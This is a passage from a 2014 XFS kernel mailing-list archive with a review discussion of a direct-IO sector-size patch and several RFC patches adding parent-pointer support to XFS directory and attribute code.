on-disk in the > + * superblock's sb_sectsize, and is set from there. > + */ > + > typedef struct xfs_buftarg { > dev_t bt_dev; > struct block_device *bt_bdev; > struct backing_dev_info *bt_bdi; > struct xfs_mount *bt_mount; > - unsigned int bt_bsize; > - unsigned int bt_sshift; > - size_t bt_smask; > + unsigned int bt_bsize; /* fs block size */ > + unsigned int bt_sshift; /* fs sector size shift */ > + size_t bt_smask; /* fs sector size mask */ > + size_t bt_lsmask; /* dev logical sectsz mask */ > + unsigned int bt_pssize; /* dev physical sector size */ This patch makes bt_smask unused, so it can be removed. bt_bsize is also unused, so that should be removed, too. indeed, the buftarg has a backpointer to the xfs_mount, so we can get the block size from there if it is ever necessary. And I think we should make these names a little more descriptive while we are touching them so comments to describe them are unnecessary: unsigned int bt_meta_sectorsize; unsigned int bt_physical_sectorsize; size_t bt_logical_sectormask; > diff --git a/fs/xfs/xfs_ioctl.c b/fs/xfs/xfs_ioctl.c > index 33ad9a7..1f3431f 100644 > --- a/fs/xfs/xfs_ioctl.c > +++ b/fs/xfs/xfs_ioctl.c > @@ -1587,7 +1587,12 @@ xfs_file_ioctl( > XFS_IS_REALTIME_INODE(ip) ? > mp->m_rtdev_targp : mp->m_ddev_targp; > > - da.d_mem = da.d_miniosz = 1 << target->bt_sshift; > + /* > + * Report device physical sector size as "optimal" minimum, > + * unless blocksize is smaller than that. > + */ > + da.d_miniosz = min(target->bt_pssize, target->bt_bsize); Just grab the filesysetm block size from the xfs_mount: da.d_miniosz = min(target->bt_pssize, mp->m_sb.sb_blocksize); > + da.d_mem = da.d_miniosz; I'd suggest that this should be PAGE_SIZE - it's for memory buffer alignment, not IO alignment, so using the IO alignment just seems wrong to me... Cheers, Dave. -- Dave Chinner david@fromorbit.com From sandeen@sandeen.net Wed Jan 15 16:52:08 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id E271029DF8 for ; Wed, 15 Jan 2014 16:52:08 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id A7E2C8F8033 for ; Wed, 15 Jan 2014 14:52:08 -0800 (PST) X-ASG-Debug-ID: 1389826326-04bdf00fe0702d90001-NocioJ Received: from sandeen.net (sandeen.net [63.231.237.45]) by cuda.sgi.com with ESMTP id BQON1GwsmJ7LIDZ0 for ; Wed, 15 Jan 2014 14:52:06 -0800 (PST) X-Barracuda-Envelope-From: sandeen@sandeen.net X-Barracuda-Apparent-Source-IP: 63.231.237.45 Received: from liberator.sandeen.net (liberator.sandeen.net [10.0.0.4]) (using TLSv1 with cipher DHE-RSA-CAMELLIA256-SHA (256/256 bits)) (No client certificate requested) by sandeen.net (Postfix) with ESMTPSA id 3C9CB654163D; Wed, 15 Jan 2014 16:52:06 -0600 (CST) Message-ID: <52D71115.1070309@sandeen.net> Date: Wed, 15 Jan 2014 16:52:05 -0600 From: Eric Sandeen User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:24.0) Gecko/20100101 Thunderbird/24.2.0 MIME-Version: 1.0 To: Dave Chinner , Eric Sandeen CC: xfs-oss Subject: Re: [PATCH] xfs: allow logical-sector sized O_DIRECT for any fs sector size References: <52D6CC91.6000408@redhat.com> <20140115223848.GZ3469@dastard> X-ASG-Orig-Subj: Re: [PATCH] xfs: allow logical-sector sized O_DIRECT for any fs sector size In-Reply-To: <20140115223848.GZ3469@dastard> X-Enigmail-Version: 1.6 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: sandeen.net[63.231.237.45] X-Barracuda-Start-Time: 1389826326 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144124 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On 1/15/14, 4:38 PM, Dave Chinner wrote: > On Wed, Jan 15, 2014 at 11:59:45AM -0600, Eric Sandeen wrote: >> Some time ago, mkfs.xfs started picking the storage physical >> sector size as the default filesystem "sector size" in order >> to avoid RMW costs incurred by doing IOs at logical sector >> size alignments. >> >> However, this means that for a filesystem made with i.e. >> a 4k sector size on an "advanced format" 4k/512 disk, >> 512-byte direct IOs are no longer allowed. This means >> that XFS has essentially turned this AF drive into a hard >> 4K device, from the filesystem on up. >> >> XFS's mkfs-specified "sector size" is really just controlling >> the minimum size & alignment of filesystem metadata IO. >> >> There is no real need to tightly couple XFS's minimal >> metadata size to the minimum allowed direct IO size; >> XFS can continue doing metadata in optimal sizes, but >> still allow smaller DIOs for apps which issue them, >> for whatever reason. > > Given that we already serialise sub-block IO completely, doing > "sub-sector" IO will also be serialised so there shouldn't be any > new issues introduced by this change. > >> This patch adds 2 new fields to the xfs_buftarg, so that >> we now track 3 sizes: >> >> 1) The device logical sector size >> 2) The device physical sector size >> 3) The filesystem sector size, which is the minimum unit and >> alignment of IO which will be performed by metadata operations. > > I wouldn't call it the "filesystem sector size" because it's clear > that it doesn't apply to everything in the filesystem. I'd prefer > that we call it the "metadata sector size", similar to the "log > sector size" we keep for situations where the external log device > has a different sector size to the data device. Ok, fair enough. >> The first is used for the minimum allowed direct IO alignment, >> the 2nd is used to report DIO sizes in XFS_IOC_DIOINFO >> (the theory being, if an app actually asks, we can give them >> the optimal answer, even if we allow smaller IOs), and the >> 3rd is used internally by the filesystem for metadata IOs. > > Terminology nit: the 3rd is set by mkfs to define the physical > format constraints that metadata in the filesystem must obey. If we > ever have to allocate sector sized metadata, then it will be used > for more than just IO.... Ok. I can fix comments. :D >> This has passed xfstests on filesystems made with 4k sectors, >> including when run under the patch I sent to ignore >> XFS_IOC_DIOINFO, and issue 512 DIOs anyway. I also directly >> tested end of block behavior on preallocated, sparse, and >> existing files when we do a 512 IO into a 4k file on a >> 4k-sector filesystem, to be sure there were no unexpected >> behaviors. >> >> Signed-off-by: Eric Sandeen >> --- >> >> NB: This depends on this patch which is in the xfs tree, >> but not yet upstream: >> xfs: simplify xfs_setsize_buftarg callchain; remove unused arg >> >> >> >> diff --git a/fs/xfs/xfs_buf.c b/fs/xfs/xfs_buf.c >> index 9fccfb5..a89dcdf 100644 >> --- a/fs/xfs/xfs_buf.c >> +++ b/fs/xfs/xfs_buf.c >> @@ -1599,6 +1599,7 @@ xfs_setsize_buftarg( >> unsigned int blocksize, >> unsigned int sectorsize) >> { >> + /* Set up filesystem block and sector sizes */ >> btp->bt_bsize = blocksize; >> btp->bt_sshift = ffs(sectorsize) - 1; > > The two places that use bt_sshift convert it back to a byte count. > We should change this simply to being a byte count. Ok, yeah, good point. I think I considered that along the way. >> btp->bt_smask = sectorsize - 1; >> @@ -1614,6 +1615,9 @@ xfs_setsize_buftarg( >> return EINVAL; >> } >> >> + /* Set up device logical & physical sector size info */ >> + btp->bt_lsmask = bdev_logical_block_size(btp->bt_bdev) - 1; >> + btp->bt_pssize = bdev_physical_block_size(btp->bt_bdev); >> return 0; >> } >> >> diff --git a/fs/xfs/xfs_buf.h b/fs/xfs/xfs_buf.h >> index 1cf21a4..29a0db9 100644 >> --- a/fs/xfs/xfs_buf.h >> +++ b/fs/xfs/xfs_buf.h >> @@ -88,14 +88,28 @@ typedef unsigned int xfs_buf_flags_t; >> */ >> #define XFS_BSTATE_DISPOSE (1 << 0) /* buffer being discarded */ >> >> +/* >> + * The xfs_buftarg contains 3 notions of "sector size" - >> + * >> + * 1) The device logical sector size >> + * 2) The device physical sector size >> + * 3) The filesystem sector size, which is the minimum unit and >> + * alignment of IO which will be performed by metadata operations. >> + * >> + * The latter is specified at mkfs time, stored on-disk in the >> + * superblock's sb_sectsize, and is set from there. >> + */ >> + >> typedef struct xfs_buftarg { >> dev_t bt_dev; >> struct block_device *bt_bdev; >> struct backing_dev_info *bt_bdi; >> struct xfs_mount *bt_mount; >> - unsigned int bt_bsize; >> - unsigned int bt_sshift; >> - size_t bt_smask; >> + unsigned int bt_bsize; /* fs block size */ >> + unsigned int bt_sshift; /* fs sector size shift */ >> + size_t bt_smask; /* fs sector size mask */ >> + size_t bt_lsmask; /* dev logical sectsz mask */ >> + unsigned int bt_pssize; /* dev physical sector size */ > > This patch makes bt_smask unused, so it can be removed. bt_bsize is > also unused, so that should be removed, too. indeed, the buftarg has > a backpointer to the xfs_mount, so we can get the block size from > there if it is ever necessary. bt_bsize is used, until your suggestion below. :) But I can remove it with that change, sure. > And I think we should make these names a little more descriptive > while we are touching them so comments to describe them are > unnecessary: > > unsigned int bt_meta_sectorsize; > unsigned int bt_physical_sectorsize; > size_t bt_logical_sectormask; Ok. I was just sticking with the tradtional (lack of) verbosity. >> diff --git a/fs/xfs/xfs_ioctl.c b/fs/xfs/xfs_ioctl.c >> index 33ad9a7..1f3431f 100644 >> --- a/fs/xfs/xfs_ioctl.c >> +++ b/fs/xfs/xfs_ioctl.c >> @@ -1587,7 +1587,12 @@ xfs_file_ioctl( >> XFS_IS_REALTIME_INODE(ip) ? >> mp->m_rtdev_targp : mp->m_ddev_targp; >> >> - da.d_mem = da.d_miniosz = 1 << target->bt_sshift; >> + /* >> + * Report device physical sector size as "optimal" minimum, >> + * unless blocksize is smaller than that. >> + */ >> + da.d_miniosz = min(target->bt_pssize, target->bt_bsize); > > Just grab the filesysetm block size from the xfs_mount: > > da.d_miniosz = min(target->bt_pssize, mp->m_sb.sb_blocksize); > >> + da.d_mem = da.d_miniosz; > > I'd suggest that this should be PAGE_SIZE - it's for memory buffer > alignment, not IO alignment, so using the IO alignment just seems > wrong to me... Ok. Was just sticking close to what we had before. So: da.d_miniosz = min(target->bt_pssize, mp->m_sb.sb_blocksize); da.d_mem = PAGE_SIZE; ? Then we can have a minimum IO size of 512, and a memory alignment of 4k, isn't that a little odd? (IOWs we could do 512-aligned memory before, right? What's the downside, or the value in changing it now?) Thanks, -Eric > Cheers, > > Dave. > From tinguely@eagdhcp-232-151.americas.sgi.com Wed Jan 15 18:30:51 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id B89FC29DF8 for ; Wed, 15 Jan 2014 18:30:51 -0600 (CST) Received: from eagdhcp-232-151.americas.sgi.com (eagdhcp-232-151.americas.sgi.com [128.162.232.151]) by relay2.corp.sgi.com (Postfix) with ESMTP id A5FC7304032 for ; Wed, 15 Jan 2014 16:30:51 -0800 (PST) Received: from eagdhcp-232-151.americas.sgi.com (localhost [127.0.0.1]) by eagdhcp-232-151.americas.sgi.com (8.14.5/8.14.5) with ESMTP id s0G0UrCZ003604 for ; Wed, 15 Jan 2014 18:30:53 -0600 (CST) (envelope-from tinguely@eagdhcp-232-151.americas.sgi.com) Received: (from tinguely@localhost) by eagdhcp-232-151.americas.sgi.com (8.14.5/8.14.5/Submit) id s0G0UrIn003603; Wed, 15 Jan 2014 18:30:53 -0600 (CST) (envelope-from tinguely) Message-Id: <20140116000851.294714180@sgi.com> User-Agent: quilt/0.51-1 Date: Wed, 15 Jan 2014 16:00:14 -0600 From: Mark Tinguely To: xfs@oss.sgi.com Subject: [RFC 02/17] xfs: (parent ptr) get offset when removing directory name References: <20140115220012.624438534@sgi.com> Content-Disposition: inline; filename=02-pptr-add-to_xfs_dir_removename.patch Return the directory offset information when removing an entry to the directory. This offset will be used as the parent pointer offset in xfs_remove. --- fs/xfs/xfs_dir2.c | 5 ++++- fs/xfs/xfs_dir2.h | 3 ++- fs/xfs/xfs_dir2_block.c | 1 + fs/xfs/xfs_dir2_leaf.c | 1 + fs/xfs/xfs_dir2_node.c | 1 + fs/xfs/xfs_dir2_sf.c | 2 ++ fs/xfs/xfs_inode.c | 4 ++-- 7 files changed, 13 insertions(+), 4 deletions(-) Index: b/fs/xfs/xfs_dir2.c =================================================================== --- a/fs/xfs/xfs_dir2.c +++ b/fs/xfs/xfs_dir2.c @@ -340,7 +340,8 @@ xfs_dir_removename( xfs_ino_t ino, xfs_fsblock_t *first, /* bmap's firstblock */ xfs_bmap_free_t *flist, /* bmap's freeblock list */ - xfs_extlen_t total) /* bmap's total block count */ + xfs_extlen_t total, /* bmap's total block count */ + __uint32_t *offset) /* out: return entry's dir offset */ { xfs_da_args_t args; int rval; @@ -374,6 +375,8 @@ xfs_dir_removename( rval = xfs_dir2_leaf_removename(&args); else rval = xfs_dir2_node_removename(&args); + if (offset) + *offset = args.offset; return rval; } Index: b/fs/xfs/xfs_dir2.h =================================================================== --- a/fs/xfs/xfs_dir2.h +++ b/fs/xfs/xfs_dir2.h @@ -127,7 +127,8 @@ extern int xfs_dir_lookup(struct xfs_tra extern int xfs_dir_removename(struct xfs_trans *tp, struct xfs_inode *dp, struct xfs_name *name, xfs_ino_t ino, xfs_fsblock_t *first, - struct xfs_bmap_free *flist, xfs_extlen_t tot); + struct xfs_bmap_free *flist, xfs_extlen_t tot, + __uint32_t *offset); extern int xfs_dir_replace(struct xfs_trans *tp, struct xfs_inode *dp, struct xfs_name *name, xfs_ino_t inum, xfs_fsblock_t *first, Index: b/fs/xfs/xfs_dir2_block.c =================================================================== --- a/fs/xfs/xfs_dir2_block.c +++ b/fs/xfs/xfs_dir2_block.c @@ -796,6 +796,7 @@ xfs_dir2_block_removename( /* * Point to the data entry using the leaf entry. */ + args->offset = be32_to_cpu(blp[ent].address); dep = (xfs_dir2_data_entry_t *) ((char *)hdr + xfs_dir2_dataptr_to_off(mp, be32_to_cpu(blp[ent].address))); /* Index: b/fs/xfs/xfs_dir2_leaf.c =================================================================== --- a/fs/xfs/xfs_dir2_leaf.c +++ b/fs/xfs/xfs_dir2_leaf.c @@ -1381,6 +1381,7 @@ xfs_dir2_leaf_removename( * Point to the leaf entry, use that to point to the data entry. */ lep = &ents[index]; + args->offset = be32_to_cpu(lep->address); db = xfs_dir2_dataptr_to_db(mp, be32_to_cpu(lep->address)); dep = (xfs_dir2_data_entry_t *) ((char *)hdr + xfs_dir2_dataptr_to_off(mp, be32_to_cpu(lep->address))); Index: b/fs/xfs/xfs_dir2_node.c =================================================================== --- a/fs/xfs/xfs_dir2_node.c +++ b/fs/xfs/xfs_dir2_node.c @@ -1192,6 +1192,7 @@ xfs_dir2_leafn_remove( /* * Extract the data block and offset from the entry. */ + args->offset = be32_to_cpu(lep->address); db = xfs_dir2_dataptr_to_db(mp, be32_to_cpu(lep->address)); ASSERT(dblk->blkno == db); off = xfs_dir2_dataptr_to_off(mp, be32_to_cpu(lep->address)); Index: b/fs/xfs/xfs_dir2_sf.c =================================================================== --- a/fs/xfs/xfs_dir2_sf.c +++ b/fs/xfs/xfs_dir2_sf.c @@ -847,6 +847,8 @@ xfs_dir2_sf_removename( XFS_CMP_EXACT) { ASSERT(dp->d_ops->sf_get_ino(sfp, sfep) == args->inumber); + args->offset = xfs_dir2_byte_to_dataptr(dp->i_mount, + xfs_dir2_sf_get_offset(sfep)); break; } } Index: b/fs/xfs/xfs_inode.c =================================================================== --- a/fs/xfs/xfs_inode.c +++ b/fs/xfs/xfs_inode.c @@ -2542,7 +2542,7 @@ xfs_remove( xfs_bmap_init(&free_list, &first_block); error = xfs_dir_removename(tp, dp, name, ip->i_ino, - &first_block, &free_list, resblks); + &first_block, &free_list, resblks, NULL); if (error) { ASSERT(error != ENOENT); goto out_bmap_cancel; @@ -2847,7 +2847,7 @@ xfs_rename( } error = xfs_dir_removename(tp, src_dp, src_name, src_ip->i_ino, - &first_block, &free_list, spaceres); + &first_block, &free_list, spaceres, NULL); if (error) goto abort_return; From tinguely@eagdhcp-232-151.americas.sgi.com Wed Jan 15 18:30:51 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id E222129DF9 for ; Wed, 15 Jan 2014 18:30:51 -0600 (CST) Received: from eagdhcp-232-151.americas.sgi.com (eagdhcp-232-151.americas.sgi.com [128.162.232.151]) by relay2.corp.sgi.com (Postfix) with ESMTP id D3170304032 for ; Wed, 15 Jan 2014 16:30:51 -0800 (PST) Received: from eagdhcp-232-151.americas.sgi.com (localhost [127.0.0.1]) by eagdhcp-232-151.americas.sgi.com (8.14.5/8.14.5) with ESMTP id s0G0UrIi003608 for ; Wed, 15 Jan 2014 18:30:53 -0600 (CST) (envelope-from tinguely@eagdhcp-232-151.americas.sgi.com) Received: (from tinguely@localhost) by eagdhcp-232-151.americas.sgi.com (8.14.5/8.14.5/Submit) id s0G0Urw5003607; Wed, 15 Jan 2014 18:30:53 -0600 (CST) (envelope-from tinguely) Message-Id: <20140116000851.379767989@sgi.com> User-Agent: quilt/0.51-1 Date: Wed, 15 Jan 2014 16:00:15 -0600 From: Mark Tinguely To: xfs@oss.sgi.com Subject: [RFC 03/17] xfs: (parent ptr) get offset when replacing a directory name References: <20140115220012.624438534@sgi.com> Content-Disposition: inline; filename=03-pptr-add-to_xfs_dir_replace.patch Return the directory offset information when replacing an entry to the directory. This offset will be used as the parent pointer offset in xfs_rename. --- fs/xfs/xfs_dir2.c | 5 ++++- fs/xfs/xfs_dir2.h | 3 ++- fs/xfs/xfs_dir2_block.c | 1 + fs/xfs/xfs_dir2_leaf.c | 1 + fs/xfs/xfs_dir2_node.c | 1 + fs/xfs/xfs_dir2_sf.c | 3 +++ fs/xfs/xfs_inode.c | 8 ++++---- 7 files changed, 16 insertions(+), 6 deletions(-) Index: b/fs/xfs/xfs_dir2.c =================================================================== --- a/fs/xfs/xfs_dir2.c +++ b/fs/xfs/xfs_dir2.c @@ -391,7 +391,8 @@ xfs_dir_replace( xfs_ino_t inum, /* new inode number */ xfs_fsblock_t *first, /* bmap's firstblock */ xfs_bmap_free_t *flist, /* bmap's freeblock list */ - xfs_extlen_t total) /* bmap's total block count */ + xfs_extlen_t total, /* bmap's total block count */ + __uint32_t *offset) /* out: return entry's dir offset */ { xfs_da_args_t args; int rval; @@ -427,6 +428,8 @@ xfs_dir_replace( rval = xfs_dir2_leaf_replace(&args); else rval = xfs_dir2_node_replace(&args); + if (offset) + *offset = args.offset; return rval; } Index: b/fs/xfs/xfs_dir2.h =================================================================== --- a/fs/xfs/xfs_dir2.h +++ b/fs/xfs/xfs_dir2.h @@ -132,7 +132,8 @@ extern int xfs_dir_removename(struct xfs extern int xfs_dir_replace(struct xfs_trans *tp, struct xfs_inode *dp, struct xfs_name *name, xfs_ino_t inum, xfs_fsblock_t *first, - struct xfs_bmap_free *flist, xfs_extlen_t tot); + struct xfs_bmap_free *flist, xfs_extlen_t tot, + __uint32_t *offset); extern int xfs_dir_canenter(struct xfs_trans *tp, struct xfs_inode *dp, struct xfs_name *name, uint resblks); Index: b/fs/xfs/xfs_dir2_block.c =================================================================== --- a/fs/xfs/xfs_dir2_block.c +++ b/fs/xfs/xfs_dir2_block.c @@ -872,6 +872,7 @@ xfs_dir2_block_replace( /* * Point to the data entry we need to change. */ + args->offset = be32_to_cpu(blp[ent].address); dep = (xfs_dir2_data_entry_t *) ((char *)hdr + xfs_dir2_dataptr_to_off(mp, be32_to_cpu(blp[ent].address))); ASSERT(be64_to_cpu(dep->inumber) != args->inumber); Index: b/fs/xfs/xfs_dir2_leaf.c =================================================================== --- a/fs/xfs/xfs_dir2_leaf.c +++ b/fs/xfs/xfs_dir2_leaf.c @@ -1515,6 +1515,7 @@ xfs_dir2_leaf_replace( /* * Point to the data entry. */ + args->offset = be32_to_cpu(lep->address); dep = (xfs_dir2_data_entry_t *) ((char *)dbp->b_addr + xfs_dir2_dataptr_to_off(dp->i_mount, be32_to_cpu(lep->address))); Index: b/fs/xfs/xfs_dir2_node.c =================================================================== --- a/fs/xfs/xfs_dir2_node.c +++ b/fs/xfs/xfs_dir2_node.c @@ -2186,6 +2186,7 @@ xfs_dir2_node_replace( hdr = state->extrablk.bp->b_addr; ASSERT(hdr->magic == cpu_to_be32(XFS_DIR2_DATA_MAGIC) || hdr->magic == cpu_to_be32(XFS_DIR3_DATA_MAGIC)); + args->offset = be32_to_cpu(lep->address); dep = (xfs_dir2_data_entry_t *) ((char *)hdr + xfs_dir2_dataptr_to_off(state->mp, be32_to_cpu(lep->address))); Index: b/fs/xfs/xfs_dir2_sf.c =================================================================== --- a/fs/xfs/xfs_dir2_sf.c +++ b/fs/xfs/xfs_dir2_sf.c @@ -987,6 +987,9 @@ xfs_dir2_sf_replace( #endif dp->d_ops->sf_put_ino(sfp, sfep, args->inumber); dp->d_ops->sf_put_ftype(sfep, args->filetype); + args->offset = xfs_dir2_byte_to_dataptr( + dp->i_mount, + xfs_dir2_sf_get_offset(sfep)); break; } } Index: b/fs/xfs/xfs_inode.c =================================================================== --- a/fs/xfs/xfs_inode.c +++ b/fs/xfs/xfs_inode.c @@ -2778,8 +2778,8 @@ xfs_rename( * name at the destination directory, remove it first. */ error = xfs_dir_replace(tp, target_dp, target_name, - src_ip->i_ino, - &first_block, &free_list, spaceres); + src_ip->i_ino, &first_block, + &free_list, spaceres, NULL); if (error) goto abort_return; @@ -2813,8 +2813,8 @@ xfs_rename( * directory. */ error = xfs_dir_replace(tp, src_ip, &xfs_name_dotdot, - target_dp->i_ino, - &first_block, &free_list, spaceres); + target_dp->i_ino, &first_block, + &free_list, spaceres, NULL); ASSERT(error != EEXIST); if (error) goto abort_return; From tinguely@eagdhcp-232-151.americas.sgi.com Wed Jan 15 18:30:52 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 1E3E429E19 for ; Wed, 15 Jan 2014 18:30:52 -0600 (CST) Received: from eagdhcp-232-151.americas.sgi.com (eagdhcp-232-151.americas.sgi.com [128.162.232.151]) by relay2.corp.sgi.com (Postfix) with ESMTP id 126E6304032 for ; Wed, 15 Jan 2014 16:30:52 -0800 (PST) Received: from eagdhcp-232-151.americas.sgi.com (localhost [127.0.0.1]) by eagdhcp-232-151.americas.sgi.com (8.14.5/8.14.5) with ESMTP id s0G0UrEF003616 for ; Wed, 15 Jan 2014 18:30:53 -0600 (CST) (envelope-from tinguely@eagdhcp-232-151.americas.sgi.com) Received: (from tinguely@localhost) by eagdhcp-232-151.americas.sgi.com (8.14.5/8.14.5/Submit) id s0G0UrNN003615; Wed, 15 Jan 2014 18:30:53 -0600 (CST) (envelope-from tinguely) Message-Id: <20140116000851.549991275@sgi.com> User-Agent: quilt/0.51-1 Date: Wed, 15 Jan 2014 16:00:17 -0600 From: Mark Tinguely To: xfs@oss.sgi.com Subject: [RFC 05/17] xfs: (parent ptr) add parent pointer support to attribute code References: <20140115220012.624438534@sgi.com> Content-Disposition: inline; filename=05-pptr-add-xfs_parent-files.patch Add the new parent attribute type. XFS_ATTR_PARENT is used only for parent pointer entries; it uses reserved blocks like XFS_ATTR_ROOT. --- fs/xfs/xfs_attr.c | 20 ++++++++++++-------- fs/xfs/xfs_attr.h | 2 ++ fs/xfs/xfs_da_format.h | 12 ++++++++---- fs/xfs/xfs_fs.h | 1 + fs/xfs/xfs_fsops.c | 4 +++- 6 files changed, 65 insertions(+), 13 deletions(-) Index: b/fs/xfs/xfs_attr.c =================================================================== --- a/fs/xfs/xfs_attr.c +++ b/fs/xfs/xfs_attr.c @@ -234,7 +234,7 @@ xfs_attr_set_int( int error, err2, committed; struct xfs_mount *mp = dp->i_mount; struct xfs_trans_res tres; - int rsvd = (flags & ATTR_ROOT) != 0; + int rsvd = (flags & (ATTR_ROOT | ATTR_PARENT)) != 0; int local; /* @@ -444,18 +444,22 @@ xfs_attr_set( int flags) { int error; - struct xfs_name xname; + struct xfs_name xname, *xnamep; XFS_STATS_INC(xs_attr_set); if (XFS_FORCED_SHUTDOWN(dp->i_mount)) return (EIO); - error = xfs_attr_name_to_xname(&xname, name); - if (error) - return error; - - return xfs_attr_set_int(dp, &xname, value, valuelen, flags); + if ((flags & ATTR_PARENT) == 0) { + error = xfs_attr_name_to_xname(&xname, name); + if (error) + return error; + xnamep = &xname; + } else + xnamep = (struct xfs_name *) name; + return xfs_attr_set_int(dp, xnamep, value, valuelen, flags); + } /* @@ -516,7 +520,7 @@ xfs_attr_remove_int(xfs_inode_t *dp, str * operation if necessary */ - if (flags & ATTR_ROOT) + if (flags & (ATTR_ROOT | ATTR_PARENT)) args.trans->t_flags |= XFS_TRANS_RESERVE; error = xfs_trans_reserve(args.trans, &M_RES(mp)->tr_attrrm, Index: b/fs/xfs/xfs_attr.h =================================================================== --- a/fs/xfs/xfs_attr.h +++ b/fs/xfs/xfs_attr.h @@ -44,6 +44,7 @@ struct xfs_attr_list_context; #define ATTR_SECURE 0x0008 /* use attrs in security namespace */ #define ATTR_CREATE 0x0010 /* pure create: fail if attr already exists */ #define ATTR_REPLACE 0x0020 /* pure set: fail if attr does not exist */ +#define ATTR_PARENT 0x0040 /* use attrs in parent namespace */ #define ATTR_KERNOTIME 0x1000 /* [kernel] don't update inode timestamps */ #define ATTR_KERNOVAL 0x2000 /* [kernel] get attr size only, not value */ @@ -55,6 +56,7 @@ struct xfs_attr_list_context; { ATTR_SECURE, "SECURE" }, \ { ATTR_CREATE, "CREATE" }, \ { ATTR_REPLACE, "REPLACE" }, \ + { ATTR_PARENT, "PARENT" }, \ { ATTR_KERNOTIME, "KERNOTIME" }, \ { ATTR_KERNOVAL, "KERNOVAL" } Index: b/fs/xfs/xfs_da_format.h =================================================================== --- a/fs/xfs/xfs_da_format.h +++ b/fs/xfs/xfs_da_format.h @@ -895,24 +895,28 @@ struct xfs_attr3_icleaf_hdr { #define XFS_ATTR_LOCAL_BIT 0 /* attr is stored locally */ #define XFS_ATTR_ROOT_BIT 1 /* limit access to trusted attrs */ #define XFS_ATTR_SECURE_BIT 2 /* limit access to secure attrs */ +#define XFS_ATTR_PARENT_BIT 3 /* parent pointer secure attrs */ #define XFS_ATTR_INCOMPLETE_BIT 7 /* attr in middle of create/delete */ #define XFS_ATTR_LOCAL (1 << XFS_ATTR_LOCAL_BIT) #define XFS_ATTR_ROOT (1 << XFS_ATTR_ROOT_BIT) #define XFS_ATTR_SECURE (1 << XFS_ATTR_SECURE_BIT) +#define XFS_ATTR_PARENT (1 << XFS_ATTR_PARENT_BIT) #define XFS_ATTR_INCOMPLETE (1 << XFS_ATTR_INCOMPLETE_BIT) /* * Conversion macros for converting namespace bits from argument flags * to ondisk flags. */ -#define XFS_ATTR_NSP_ARGS_MASK (ATTR_ROOT | ATTR_SECURE) -#define XFS_ATTR_NSP_ONDISK_MASK (XFS_ATTR_ROOT | XFS_ATTR_SECURE) +#define XFS_ATTR_NSP_ARGS_MASK (ATTR_ROOT | ATTR_SECURE | XFS_ATTR_PARENT) +#define XFS_ATTR_NSP_ONDISK_MASK (XFS_ATTR_ROOT | XFS_ATTR_SECURE | XFS_ATTR_PARENT) #define XFS_ATTR_NSP_ONDISK(flags) ((flags) & XFS_ATTR_NSP_ONDISK_MASK) #define XFS_ATTR_NSP_ARGS(flags) ((flags) & XFS_ATTR_NSP_ARGS_MASK) #define XFS_ATTR_NSP_ARGS_TO_ONDISK(x) (((x) & ATTR_ROOT ? XFS_ATTR_ROOT : 0) |\ - ((x) & ATTR_SECURE ? XFS_ATTR_SECURE : 0)) + ((x) & ATTR_SECURE ? XFS_ATTR_SECURE : 0) | \ + ((x) & ATTR_PARENT ? XFS_ATTR_PARENT : 0)) #define XFS_ATTR_NSP_ONDISK_TO_ARGS(x) (((x) & XFS_ATTR_ROOT ? ATTR_ROOT : 0) |\ - ((x) & XFS_ATTR_SECURE ? ATTR_SECURE : 0)) + ((x) & XFS_ATTR_SECURE ? ATTR_SECURE : 0) | \ + ((x) & XFS_ATTR_PARENT ? ATTR_PARENT : 0)) /* * Alignment for namelist and valuelist entries (since they are mixed Index: b/fs/xfs/xfs_fs.h =================================================================== --- a/fs/xfs/xfs_fs.h +++ b/fs/xfs/xfs_fs.h @@ -238,6 +238,7 @@ typedef struct xfs_fsop_resblks { #define XFS_FSOP_GEOM_FLAGS_LAZYSB 0x4000 /* lazy superblock counters */ #define XFS_FSOP_GEOM_FLAGS_V5SB 0x8000 /* version 5 superblock */ #define XFS_FSOP_GEOM_FLAGS_FTYPE 0x10000 /* inode directory types */ +#define XFS_FSOP_GEOM_FLAGS_PARENT 0x20000 /* parent inode support */ /* * Minimum and maximum sizes need for growth checks. Index: b/fs/xfs/xfs_fsops.c =================================================================== --- a/fs/xfs/xfs_fsops.c 